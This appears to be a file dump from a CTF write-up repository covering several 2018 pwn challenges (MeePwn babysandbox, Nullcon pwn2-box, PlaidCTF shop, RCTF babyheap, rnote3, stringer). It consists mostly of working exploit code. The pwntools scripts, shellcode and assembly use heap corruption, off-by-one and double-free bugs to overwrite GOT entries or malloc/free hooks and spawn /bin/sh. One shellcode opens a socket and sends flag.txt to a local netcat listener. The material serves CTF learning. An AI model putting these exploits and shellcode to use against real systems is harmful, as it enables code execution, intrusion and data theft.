port = 12345 22 | push word 2 ; AF_INET 23 | mov ecx, esp ; store the address of struct 24 | push 16 ; addrlen 25 | push ecx ; pointer to structure 26 | push edi ; sockfd 27 | mov eax, 0x66 ; sys_socketcall 28 | mov ebx, 3 ; sys_connect 29 | mov ecx, esp ; pointer to args 30 | int 0x80 31 | 32 | jmp filename 33 | 34 | _openat: ; int openat(int dirfd, const char *pathname, int flags, mode_t mode); 35 | mov ebx, -100 ; int dirfd = AT_FDCWD (-100) 36 | pop ecx ; pathname = filename 37 | mov edx, 0x0 ; flags = O_RDONLY 38 | mov esi, 0x0 ; mode = 0 39 | mov eax, 0x127 ; syscall id for openat 40 | int 0x80 41 | 42 | _iovec: ; rsp points to the beginning of "struct iovec" 43 | mov ecx, esp ; buffer's address 44 | push 100 ; iov_len 45 | push ecx ; iov_base 46 | 47 | _readv: ; ssize_t readv(int fd, const struct iovec *iov, int iovcnt); 48 | mov ebx, eax ; int fd 49 | mov ecx, esp ; iovec *iov 50 | mov edx, 1 ; int iovcnt = 1 51 | mov eax, 0x91 ; syscall id for readv 52 | int 0x80 53 | 54 | _writev: ; ssize_t writev(int fd, const struct iovec *iov, int iovcnt); 55 | mov ebx, edi ; int fd = sockfd 56 | mov ecx, esp ; iovec *iov 57 | mov edx, 1 ; int iovcnt = 1 58 | mov eax, 0x92 ; syscall id for writev 59 | int 0x80 60 | 61 | _exit: 62 | mov eax, 0x01 ; syscall id for exit 63 | int 0x80 64 | 65 | filename: 66 | call _openat 67 | db "flag.txt", 0x00 68 | 69 | -------------------------------------------------------------------------------- /ctfs/MeePwn/2018/Quals/babysandbox/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | # generate from exploit.asm 6 | # nasm -f bin -o sc exploit.asm 7 | # ndisasm -b32 sc 8 | 9 | shellcode = '\x6a\x06\x6a\x01\x6a\x02\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xcd\x80\x89\xc7\x68\x7f\x00\x00\x01\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x89\xe1\xcd\x80\xeb\x43\xbb\x9c\xff\xff\xff\x59\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00\xb8\x27\x01\x00\x00\xcd\x80\x89\xe1\x6a\x64\x51\x89\xc3\x89\xe1\xba\x01\x00\x00\x00\xb8\x91\x00\x00\x00\xcd\x80\x89\xfb\x89\xe1\xba\x01\x00\x00\x00\xb8\x92\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80\xe8\xb8\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00' 10 | 11 | # before running "./exploit.py", listen on port 12345 on localhost to receive the flag: 12 | # nc -l 12345 13 | 14 | with context.quiet: 15 | p = process('./program') 16 | 17 | p.sendline(shellcode) 18 | 19 | -------------------------------------------------------------------------------- /ctfs/MeePwn/2018/Quals/babysandbox/flag.txt: -------------------------------------------------------------------------------- 1 | FLAGGGGGGGG 2 | -------------------------------------------------------------------------------- /ctfs/MeePwn/2018/Quals/babysandbox/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/MeePwn/2018/Quals/babysandbox/program -------------------------------------------------------------------------------- /ctfs/MeePwn/2018/Quals/babysandbox/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int main() 2 | { 3 | void *buf; // ST2C_4 4 | 5 | buf = mmap(0, 256u, 7, 34, -1, 0); 6 | read(0, buf, 256u); 7 | mprotect(buf, 256u, 5); 8 | close(stdin); 9 | close(stderr); 10 | close(stdout); 11 | ((void (*)(void))buf)(); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /ctfs/NullconHackIM/2018/pwn2-box/README.md: -------------------------------------------------------------------------------- 1 | This is a good challenge to learn how to write shellcode to leak `read@GOT` address, find `glibc` base address, and eventually execute `execve` found by `one gadget`. 2 | 3 | -------------------------------------------------------------------------------- /ctfs/NullconHackIM/2018/pwn2-box/exploit.asm: -------------------------------------------------------------------------------- 1 | bits 64 2 | 3 | section .text 4 | 5 | global _start 6 | 7 | _start: 8 | ; rbx <= read's address 9 | mov rbx, [0x602060] 10 | 11 | ; rbx <= libc base address 12 | sub rbx, 0xf7250 13 | 14 | ; rax <= 0 (one_gadget constraint) 15 | mov rcx, rbx 16 | add rcx, 0x8b8c5 17 | mov [0x602100], rcx 18 | 19 | ; one-gadget execve("/bin/sh", ...) 20 | mov rcx, rbx 21 | add rcx, 0x45216 22 | mov [0x602108], rcx 23 | 24 | jmp buffer 25 | 26 | write: 27 | ; write the first part of buffer 28 | mov rdi, [rbp-0x2c] 29 | pop rsi 30 | mov rdx, 125 31 | mov rax, 1 32 | syscall 33 | 34 | ; write the ROP chain 35 | mov rdi, [rbp-0x2c] 36 | mov rsi, 0x602100 37 | mov rdx, 16 38 | mov rax, 1 39 | syscall 40 | 41 | loop: 42 | jmp loop 43 | 44 | buffer: 45 | call write 46 | db 0x0a, 0x88, 0x00, 0x00, 0x00, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB" 47 | 48 | -------------------------------------------------------------------------------- /ctfs/NullconHackIM/2018/pwn2-box/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 7 | 8 | ''' 9 | generated from exploit.asm 10 | nasm -f bin -o sc exploit.asm 11 | ndisasm -b64 sc 12 | ''' 13 | 14 | shellcode = '\x48\x8B\x1C\x25\x60\x20\x60\x00\x48\x81\xEB\x50\x72\x0F\x00\x48\x89\xD9\x48\x81\xC1\xC5\xB8\x08\x00\x48\x89\x0C\x25\x00\x21\x60\x00\x48\x89\xD9\x48\x81\xC1\x16\x52\x04\x00\x48\x89\x0C\x25\x08\x21\x60\x00\xEB\x28\x48\x8B\x7D\xD4\x5E\xBA\x7D\x00\x00\x00\xB8\x01\x00\x00\x00\x0F\x05\x48\x8B\x7D\xD4\xBE\x00\x21\x60\x00\xBA\x10\x00\x00\x00\xB8\x01\x00\x00\x00\x0F\x05\xEB\xFE\xE8\xD3\xFF\xFF\xFF\x0A\x88\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42' 15 | 16 | p.send(p32(len(shellcode))) 17 | p.send(shellcode) 18 | 19 | p.interactive() 20 | 21 | -------------------------------------------------------------------------------- /ctfs/NullconHackIM/2018/pwn2-box/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/NullconHackIM/2018/pwn2-box/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/NullconHackIM/2018/pwn2-box/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/NullconHackIM/2018/pwn2-box/program -------------------------------------------------------------------------------- /ctfs/NullconHackIM/2018/pwn2-box/pseudocode.cc: -------------------------------------------------------------------------------- 1 | void handler() 2 | { 3 | getpid(); 4 | exit(1); 5 | } 6 | 7 | int64_t func_1(unsigned int a1) 8 | { 9 | return a1; 10 | } 11 | 12 | ssize_t func_2(int a1) 13 | { 14 | ssize_t result; // rax 15 | int buf; // [rsp+1Ch] [rbp-74h] 16 | char s; // [rsp+20h] [rbp-70h] 17 | 18 | buf = 0; 19 | result = read(a1, &buf, 4uLL); 20 | if ( result > 0 ) 21 | { 22 | memset(&s, 0, 0x64uLL); 23 | result = read(a1, &s, buf); 24 | } 25 | return result; 26 | } 27 | 28 | int64_t func_3(unsigned int a1, char a2) 29 | { 30 | int64_t result; // rax 31 | 32 | result = (unsigned int)a2; 33 | switch ( (int)result ) 34 | { 35 | case 1: 36 | func_1(a2); 37 | goto LABEL_3; 38 | case 2: 39 | LABEL_3: 40 | func_1(a2); 41 | goto LABEL_4; 42 | case 3: 43 | LABEL_4: 44 | func_1(a2); 45 | goto LABEL_5; 46 | case 4: 47 | LABEL_5: 48 | func_1(a2); 49 | goto LABEL_6; 50 | case 5: 51 | LABEL_6: 52 | result = func_1(a2); 53 | break; 54 | case 0xA: 55 | result = func_2(a1); 56 | break; 57 | default: 58 | return result; 59 | } 60 | return result; 61 | } 62 | 63 | void func_4(unsigned int a1) 64 | { 65 | char buf; // [rsp+17h] [rbp-9h] 66 | int v2; // [rsp+18h] [rbp-8h] 67 | int v3; // [rsp+1Ch] [rbp-4h] 68 | 69 | v3 = 0; 70 | while ( ++v3 ) 71 | { 72 | v2 = read(a1, &buf, 1uLL); 73 | if ( v2 <= 0 ) 74 | break; 75 | func_3(a1, buf); 76 | } 77 | } 78 | 79 | int64_t main(int64_t a1, char **a2, char **a3) 80 | { 81 | int64_t v3; // rsi 82 | int64_t v4; // rdi 83 | int pipedes[2]; // [rsp+10h] [rbp-30h] 84 | int buf; // [rsp+1Ch] [rbp-24h] 85 | void *v8; // [rsp+20h] [rbp-20h] 86 | int64_t v9; // [rsp+28h] [rbp-18h] 87 | char *v10; // [rsp+30h] [rbp-10h] 88 | int v11; // [rsp+38h] [rbp-8h] 89 | int v12; // [rsp+3Ch] [rbp-4h] 90 | 91 | v11 = pipe(pipedes); 92 | if ( v11 ) 93 | __assert_fail("ret == 0", "sandbox.c", 0x75u, "main"); 94 | if ( !fork() ) 95 | { 96 | getpid(); 97 | signal(14, handler); 98 | alarm(5u); 99 | func_4(pipedes[0]); 100 | exit(0); 101 | } 102 | signal(17, 1); 103 | signal(11, handler); 104 | signal(5, handler); 105 | signal(14, handler); 106 | alarm(5u); 107 | buf = 0; 108 | if ( read(0, &buf, 4uLL) > 0 && buf <= 0x100000 ) 109 | { 110 | v3 = buf; 111 | v10 = (char *)mmap(0LL, buf, 7, 34, -1, 0LL); 112 | if ( !v10 ) 113 | __assert_fail("psc != NULL", "sandbox.c", 0x94u, "main"); 114 | v12 = 0; 115 | while ( buf ) 116 | { 117 | v3 = (int64_t)&v10[v12]; 118 | v11 = read(0, (void *)v3, buf); 119 | if ( v11 < 0 ) 120 | break; 121 | v12 += v11; 122 | buf -= v11; 123 | } 124 | if ( !buf ) 125 | { 126 | v9 = seccomp_init(0LL, v3); 127 | if ( v9 ) 128 | { 129 | v11 = seccomp_rule_add(v9, 2147418112LL, 1LL, 0LL); 130 | if ( v11 >= 0 ) 131 | { 132 | v11 = seccomp_rule_add(v9, 2147418112LL, 60LL, 0LL); 133 | if ( v11 >= 0 ) 134 | { 135 | v11 = seccomp_rule_add(v9, 2147418112LL, 231LL, 0LL); 136 | if ( v11 >= 0 ) 137 | { 138 | v4 = v9; 139 | v11 = seccomp_load(v9); 140 | if ( v11 >= 0 ) 141 | { 142 | v8 = v10; 143 | ((void (*)(int64_t, int64_t))v10)(v4, 2147418112LL); 144 | } 145 | } 146 | } 147 | } 148 | } 149 | } 150 | } 151 | perror("error"); 152 | return 0LL; 153 | } 154 | -------------------------------------------------------------------------------- /ctfs/PlaidCTF/2018/shop/README.md: -------------------------------------------------------------------------------- 1 | In `PlaidCTF 2018 - shop` challenge, there is a `buffer overflow` vulnerability that allows us to leak `heap` and `libc` base addresses. Finally, we can overwrite `put@GOT` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/PlaidCTF/2018/shop/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def checkout_items(haystack=None): 6 | p.sendlineafter('> ', 'c') 7 | 8 | if haystack is not None: 9 | p.sendline(haystack) 10 | else: 11 | p.sendline(cyclic(0x10000, alphabet='0123456789abcdef', n=4)) 12 | 13 | def set_shop_name(name): 14 | p.sendafter('Enter your shop name:', name) 15 | 16 | def change_shop_name(name): 17 | p.sendlineafter('> ', 'n') 18 | set_shop_name(name) 19 | 20 | def print_items(): 21 | p.sendlineafter('> ', 'l') 22 | 23 | def add_item(name1, name2, price): 24 | p.sendlineafter('> ', 'a') 25 | p.send(name1) 26 | p.send(name2) 27 | p.sendline(str(price)) 28 | 29 | with context.quiet: 30 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 31 | 32 | # set arbitrary shop name 33 | set_shop_name('A' * 303) 34 | 35 | # chunk_1 (0x141) 36 | # this is the first item and it will be at the end of list after the following 32 items are created 37 | add_item('0' * 31, 'a' * 255, 20) 38 | 39 | # we create 32 more items 40 | for i in range(32): 41 | add_item('1' * 31, 'b' * 255, 20) 42 | 43 | # here is where buffer overflow happens. checked_items only can hold 32 items 44 | # but there 33 items. This result in replacing the shop_name pointer with the first item (chunk_1) 45 | checkout_items() 46 | 47 | # the first 8 bytes of the chunk_1 is the address of next item in the linked list 48 | # we set it to an address before stdout in .bss 49 | change_shop_name(p64(0x6020b4)[0:3] + '\n') 50 | 51 | # printing the list of items leads to leaking a libc address (stdout) 52 | # as well as a heap address (first item in checked_items) 53 | print_items() 54 | p.recvuntil('aaaaaaaaaaaaaa\n') 55 | libc_addr = p.recvuntil(': $')[0:-3] 56 | libc_base = u64(libc_addr + '\x00' * (8 - len(libc_addr))) - 0x3c5620 57 | print 'libc base: {}'.format(hex(libc_base)) 58 | 59 | p.recvuntil(' - ') 60 | heap_addr = p.recvuntil('\n')[0:-1] 61 | heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x4ba0 62 | print 'heap base: {}'.format(hex(heap_base)) 63 | 64 | # now we have the heap layout, we can simply create fake items inside the chunk_1 65 | # basically, we want to replace the head of linked list with our own address 66 | item = heap_base + 0x1390 67 | change_shop_name( 68 | p64(item + 16) + 'f' * 4 + '\x00' * 4 + \ 69 | p64(item + 32) + 'f' * 4 + '\x00' * 4 + \ 70 | p64(0) + 'f' * 4 + '\x00' * 4 + \ 71 | '\n' 72 | ) 73 | 74 | # after this, the head of the linked list points to an address inside the chunk_1 75 | checkout_items() 76 | 77 | # now, we want to replace the shop_name pointer in the .bss again in order to get arbitrary write 78 | # therefore, we create 33 fake items inside the chunk_1. 0x602008 is actually in the .got.plt 79 | # we are planning to replace put@GOT (0x602018) 80 | fake_items = [p64(item + 32 + i * 8) for i in range(1, 33)] + [p64(0x602008)] 81 | 82 | # we set the content of chunk_1 83 | change_shop_name( 84 | '\x00' * 32 + \ 85 | ''.join(fake_items) + \ 86 | '\n' 87 | ) 88 | 89 | # here we need to set the haystack in a way that all the previously created fake items can pass the check in checkout_items 90 | haystack = '\x00' * 4 91 | for fi in fake_items: 92 | haystack += fi[0:4] 93 | 94 | haystack += p64(libc_base + 0x3e1870)[0:4] 95 | 96 | # after this, shop_name is pointing to a bit before put@GOT 97 | checkout_items(haystack) 98 | 99 | ''' 100 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 101 | constraints: 102 | [rsp+0x30] == NULL 103 | ''' 104 | # here we will replace put@GOT with one gadget 105 | change_shop_name('\x00' * 16 + p64(libc_base + 0x4526a) + '\n') 106 | 107 | # we provide a non-recognized input, so we trigger put@GOT 108 | # as a result we will run /bin/sh 109 | p.sendline('z') 110 | 111 | p.interactive() 112 | 113 | -------------------------------------------------------------------------------- /ctfs/PlaidCTF/2018/shop/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/PlaidCTF/2018/shop/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/PlaidCTF/2018/shop/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/PlaidCTF/2018/shop/program -------------------------------------------------------------------------------- /ctfs/RCTF/2018/babyheap/README.md: -------------------------------------------------------------------------------- 1 | In this challenge, we are showing how we can leak libc base address and overwrite `__malloc_hook` using `null byte poisoning` aka `off-by-one overflow` aka `null byte overflow` vulnerability. Basically, by clearing `PREV_IN_USE` bit in a chunk, we can cause two chunks consolidate and the chunk between them being forgotten. 2 | 3 | This is a good challenge for understanding how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. 4 | -------------------------------------------------------------------------------- /ctfs/RCTF/2018/babyheap/babyheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/RCTF/2018/babyheap/babyheap -------------------------------------------------------------------------------- /ctfs/RCTF/2018/babyheap/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def alloc(size, content, attack=False): 6 | p.recvuntil('choice: ') 7 | p.sendline('1') 8 | p.recvuntil('please input chunk size: ') 9 | p.sendline(str(size)) 10 | 11 | if not attack: 12 | p.recvuntil('input chunk content: ') 13 | p.send(content) 14 | 15 | def show(index): 16 | p.recvuntil('choice: ') 17 | p.sendline('2') 18 | p.recvuntil('please input chunk index: ') 19 | p.sendline(str(index)) 20 | 21 | def delete(index): 22 | p.recvuntil('choice: ') 23 | p.sendline('3') 24 | p.recvuntil('please input chunk index: ') 25 | p.sendline(str(index)) 26 | 27 | with context.quiet: 28 | p = process('./babyheap', env = {'LD_PRELOAD': './libc-2.23.so'}) 29 | 30 | alloc(240, 'b' * 240) # 0 (256) smallbin_1 31 | alloc(112, 'c' * 112) # 1 (128) fastbin_1 32 | alloc(240, 'd' * 240) # 2 (256) smallbin_2 33 | alloc(16, 'e' * 16) # 3 (32) fastbin_2 (in order to prevent consolidation with top chunk) 34 | 35 | delete(0) 36 | delete(1) 37 | 38 | # write one null byte to convert smallbin_2's size from 0x101 to 0x100 39 | # make the smallbin_2's previous chunk NOT in use 40 | # make smallbin_2's prev_size == 384 41 | alloc(120, 'f' * 112 + p64(384)) # 0 (128) fastbin_3 42 | 43 | # smallbin_2 consolidates with smallbin_1 because its prev_size == 384 44 | # basically, fastbin_1 is forgotten 45 | delete(2) 46 | 47 | # fastbin_1 overlaps with a free chunk 48 | # free chunk's fd and bk point to main arena 49 | alloc(240, 'g' * 240) # 1 (256) smallbin_3 50 | 51 | # leak the main arena address, which leads to libc base address 52 | show(0) 53 | 54 | p.recvuntil('content: ') 55 | libc_base = u64(p.recv(6) + '\x00\x00') - 0x3c4b78 56 | 57 | print 'libc base: {}'.format(hex(libc_base)) 58 | 59 | # will get a free chunk with size of 640 60 | delete(1) 61 | 62 | alloc(208, 'h' * 208) # 1 (224) smallbin_4 63 | 64 | # recover the fastbin_3's header 65 | alloc(128, 'i' * 16 + p64(0) + p64(113) + p64(0) + p64(0) + '\n') # 2 (144) smallbin_5 66 | 67 | delete(0) 68 | delete(2) 69 | 70 | # set fastbin_8's fd pointer to the fake chunk 71 | # basically, the size for the fake chunk will be 120 72 | fake_chunk = libc_base + 0x3c4aed 73 | print 'Fake Chunk: {}'.format(hex(fake_chunk)) 74 | 75 | # put the fake chunk's address in fastbin_3's fd 76 | alloc(128, 'j' * 16 + p64(0) + p64(113) + p64(fake_chunk) + p64(0) + '\n') # 0 (144) smallbin_6 77 | 78 | # put fake_chunk's address in the free bin list 79 | alloc(96, 'k' * 96) # 2 (112) fastbin_7 80 | 81 | # this new alloc will return the fake chunk address 82 | # we then overwrite __malloc_hook with the address of onegadet's execve 83 | # 0x4526a execve("/bin/sh", rsp+0x30, environ) 84 | # constraints: 85 | # [rsp+0x30] == NULL 86 | 87 | alloc(96, 'l' * 19 + p64(libc_base + 0x4526a) + '\n') # 4 (112) fastbin_8 88 | 89 | # this new alloc will call __malloc_hook, which jumps to onegadget's execve 90 | alloc(1, '\n', True) 91 | 92 | p.interactive() 93 | 94 | -------------------------------------------------------------------------------- /ctfs/RCTF/2018/babyheap/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/RCTF/2018/babyheap/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/RCTF/2018/rnote3/README.md: -------------------------------------------------------------------------------- 1 | In this challenge, we are showing how we can leak libc base address and overwrite `__free_hook` by exploiting `Uninitialized Stack Variables` and `Overlapping Heap Chunks`. 2 | 3 | This is a good challenge for understanding how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. 4 | -------------------------------------------------------------------------------- /ctfs/RCTF/2018/rnote3/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def add_note(title, content_size, content): 6 | p.sendline('1') 7 | p.recvuntil('please input title: ') 8 | p.send(title) 9 | p.recvuntil('please input content size: ') 10 | p.sendline(str(content_size)) 11 | p.recvuntil('please input content: ') 12 | p.send(content) 13 | 14 | def view_note(title): 15 | p.sendline('2') 16 | p.recvuntil('please input note title: ') 17 | p.send(title) 18 | 19 | def edit_note(title, content): 20 | p.sendline('3') 21 | p.recvuntil('please input note title: ') 22 | p.send(title) 23 | p.recvuntil('please input new content: ') 24 | p.send(content) 25 | 26 | def delete_note(title): 27 | p.sendline('4') 28 | p.recvuntil('please input note title: ') 29 | p.send(title) 30 | 31 | with context.quiet: 32 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 33 | 34 | p.recvuntil('5. Exit\n') 35 | 36 | # allocates fastbin_1 and fastbin_2 37 | add_note('a' * 8, 24, 'a' * 24) 38 | 39 | # frees fastbin_1 and fastbin_2 40 | delete_note('a' * 8) 41 | 42 | # frees fastbin_1 and fastbin_2 again 43 | # this puts fastbin_1 and fastbin_2 address on the free list again 44 | # https://github.com/shellphish/how2heap/blob/master/fastbin_dup.c 45 | delete_note('a' * 8) 46 | 47 | # allocates fastbin_3 and fastbin_4 48 | # we provide all zero title, so makes the fd pointer = 0 49 | add_note('\x00' * 8, 24, 'b' * 24) 50 | 51 | # allocates fastbin_5 and smallbin_1 52 | # this causes fastbin_5 overlaps with fastbin_3 53 | # both notes are pointing to the same location 54 | add_note('c' * 8, 256, 'c' * 256) 55 | 56 | # allocates fastbin_6 and fastbin_7 57 | # prevents smallbin_1 being consolidated into the top chunk 58 | add_note('d' * 8, 24, 'd' * 24) 59 | 60 | # frees fastbin_5 61 | # frees smallbin_1 and populate its fd and bk pointers with libc addresses 62 | delete_note('c' * 8) 63 | 64 | # print content of fastbin_3 since its content is the same as fastbin_5 65 | view_note('\x00' * 8) 66 | 67 | # leak libc address 68 | p.recvuntil('note content: ') 69 | libc_base = u64(p.recv(6) + '\x00\x00') - 0x3c4b78 70 | print 'libc base: {}'.format(hex(libc_base)) 71 | 72 | # frees fastbin_6 and fastbin_7 73 | delete_note('d' * 8) 74 | 75 | # allocates fastbin_8 and smallbin_2 76 | # smallbin_1 and smallbin_2 overlap 77 | add_note('e' * 8, 256, 'e' * 256) 78 | 79 | # allocates fastbin_9 and fastbin_10 80 | # fastbin_10 and fastbin_5 overlap 81 | # basically, fastbin_5 is the content of this note 82 | # therefore, we can overwrite the content address with __free_hook 83 | add_note('f' * 8, 24, '\x00' * 8 + p64(24) + p64(libc_base + 0x3c67a8)) 84 | 85 | # we then overwrite __free_hook with the address of onegadet's execve 86 | # 0x4526a execve("/bin/sh", rsp+0x30, environ) 87 | # constraints: 88 | # [rsp+0x30] == NULL 89 | edit_note('\x00' * 7 + '\n', p64(libc_base + 0x4526a) + '\n') 90 | 91 | # trigger the __free_hook by freeing a note 92 | delete_note('\x00' * 8) 93 | 94 | p.interactive() 95 | 96 | -------------------------------------------------------------------------------- /ctfs/RCTF/2018/rnote3/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/RCTF/2018/rnote3/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/RCTF/2018/rnote3/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/RCTF/2018/rnote3/program -------------------------------------------------------------------------------- /ctfs/RCTF/2018/stringer/README.md: -------------------------------------------------------------------------------- 1 | `RCTF 2018 - stringer` challenge contains `off-by-one` and `double free` vulnerabilities. Lesson learned is that if the chunk being allocated is `MMAPED`, the content will not be zero out when using `calloc`. 2 | 3 | So, by using `off-by-one` attack, we can set `IS_MMAPED` bit of the target chunk in order to leak a libc address, and then launch the `fastbin attack` (https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c) by using `double free` vulnerability in order to overwrite `__malloc_hook`. 4 | 5 | This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. 6 | -------------------------------------------------------------------------------- /ctfs/RCTF/2018/stringer/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def add_string(size, content, is_attack=False): 6 | p.recvuntil('choice: ') 7 | p.sendline('1') 8 | p.recvuntil('please input string length: ') 9 | p.sendline(str(size)) 10 | 11 | if not is_attack: 12 | p.recvuntil('please input the string content: ') 13 | p.send(content) 14 | p.recvuntil('your string: ') 15 | 16 | def view_string(title): 17 | p.recvuntil('choice: ') 18 | p.sendline('2') 19 | p.recvuntil("don't even think about it") 20 | 21 | def edit_string(index, offset): 22 | p.recvuntil('choice: ') 23 | p.sendline('3') 24 | p.recvuntil('please input the index: ') 25 | p.sendline(str(index)) 26 | p.recvuntil('input the byte index: ') 27 | p.sendline(str(offset)) 28 | 29 | def delete_string(index): 30 | p.recvuntil('choice: ') 31 | p.sendline('4') 32 | p.recvuntil('please input the index: ') 33 | p.sendline(str(index)) 34 | 35 | def leak(): 36 | # allocate fastbin_1 in order to launch the off-by-attack 37 | add_string(24, 'a' * 24) # 0 (32) fastbin_1 38 | 39 | # allocate smallbin_1 to set its IS_MMAPED bit by editing fastbin_1 40 | add_string(128, 'b' * 128) # 1 (144) smallbin_1 41 | 42 | # allocate fastbin_2 in order to prevent smallbin_1 being consolidated into top chunk 43 | add_string(24, 'c' * 24) # 2 (32) fastbin_2 44 | 45 | # smallbin_1 should be freed beforing setting its IS_MMAPED 46 | # fd and bk pointers are written for this chunk, which are pointing to main arena 47 | delete_string(1) 48 | 49 | # using Off-By-One we increment the size field of smallbin_1 twice 50 | # its size changes from 0x91 to 0x93 (PREV_INUSE && IS_MMAPED) 51 | edit_string(0, 24) 52 | edit_string(0, 24) 53 | 54 | # smallbin_2 will be placed in smallbin_1's chunk 55 | # however, calloc won't zero out its content since it's MMAPED 56 | add_string(128, 'd' * 7 + '\n') # 3 (144) smallbin_2 57 | 58 | # leak bk pointer of smallbin_1 59 | p.recvuntil('d' * 7 + '\n') 60 | return u64(p.recv(6) + '\x00\x00') - 0x3c4b78 61 | 62 | def exploit(libc_base): 63 | # allocate two fastbins to launch the fastbin attack using double free 64 | add_string(96, 'e' * 96) # 4 (112) fastbin_3 65 | add_string(96, 'f' * 96) # 5 (112) fastbin_4 66 | 67 | # by launching double free, we put fastbin_3 twice in the free list 68 | delete_string(4) 69 | delete_string(5) 70 | delete_string(4) 71 | 72 | # fastbin_5 and fastbin_3 pointing to the same chunk 73 | # set fastbin_3's fd pointer to the fake chunk 74 | # basically, the size for the fake chunk will be 120 75 | fake_chunk = libc_base + 0x3c4aed 76 | print 'Fake Chunk: {}'.format(hex(fake_chunk)) 77 | add_string(96, p64(fake_chunk) + 'g' * 88) # 6 (112) fastbin_5 78 | 79 | add_string(96, 'h' * 96) # 7 (112) fastbin_6 80 | 81 | # this allocation put the fake chunk's address in the free bin list 82 | add_string(96, 'i' * 96) # 8 (112) fastbin_7 83 | 84 | # this new allocation will return the fake chunk address 85 | # we then overwrite __malloc_hook with the address of onegadet's execve 86 | # 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 87 | # constraints: 88 | # [rsp+0x50] == NULL 89 | execve_addr = libc_base + 0xf02a4 90 | add_string(96, 'i' * 19 + p64(execve_addr) + '\n') # 9 (112) fastbin_8 91 | 92 | # this new allocation will call __malloc_hook, which jumps to onegadget's execve 93 | add_string(1, '\n', True) 94 | 95 | with context.quiet: 96 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 97 | 98 | libc_base = leak() 99 | print 'libc base: {}'.format(hex(libc_base)) 100 | 101 | exploit(libc_base) 102 | 103 | p.interactive() 104 | 105 | -------------------------------------------------------------------------------- /ctfs/RCTF/2018/stringer/libc-2.23.so: -------------------------------------------------------------------------------- 